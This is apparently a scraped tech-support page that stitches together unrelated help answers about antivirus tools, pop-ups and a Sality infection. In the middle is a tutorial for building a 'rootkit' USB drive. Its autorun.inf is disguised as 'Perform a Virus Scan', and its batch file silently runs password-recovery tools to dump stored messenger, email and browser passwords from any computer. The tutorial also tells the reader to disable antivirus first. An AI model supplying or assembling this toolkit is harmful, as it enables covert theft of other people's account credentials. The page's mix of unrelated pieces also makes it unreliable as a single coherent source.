Download AVG Free and AVG Antispyware Free fom this site:

http://free.grisoft.com/

Install both and run a Full System scan with each (they can be set going at the same time). This will probably take an hour or two so be patient.

Sounds like your computer has a Trojan - do not send money to the Ultimate Cleaner site as this is probably a case of FRAUD.

Good luck.

Why do pages open random?


Avast is an anti-virus program designed to protect your computer from becoming infected by malware. What you are describing is not a "pop up", which is an advertisement which pops up on your screen or page after it loads completely. In order to stop this type of pop up, install an ad blocker.

How to Sniff Passwords Using USB Drive ...


How to Sniff Passwords Using USB Drive
dc60cfb.gif

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.


MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

"AVG only runs on Windows 2000 SP4 + Update Rollup 1"

It sounds like you need an update for your Windows before you can install AVG. You should be able to download this from MS.

I CANNOT REMOVE WIN32/SALITY.V VIRUS CAN U HELP ME PLEASE


Hi, I presume yo do have an antivirus installed.
So to remove this type of Trojan/worm you need to:
  1. Disable System Restore (Windows Me/XP).
  2. Update the virus definitions.
  3. Run a full system scan.
If you can't get the antivirus to detect it, 1st start you PC in "Safe mode" and run the antivirus full-scan from there.
To start the PC in "safe mode", when teh PC is booting (before the windows loading screen, press F8 to gte the menu to select "safe mode")

If you don;t have antivirus, download AVG free antivirus or visit Microsoft's OneCare site for a freescan & celan.. Do not install an antivirus based on ANY pop-up message you see on teh web.
Cheers,
Ed

Windows Explorer problem


You might try re-installing IE. Maybe a new installation will debug. It won't do any harm...
Good luck!
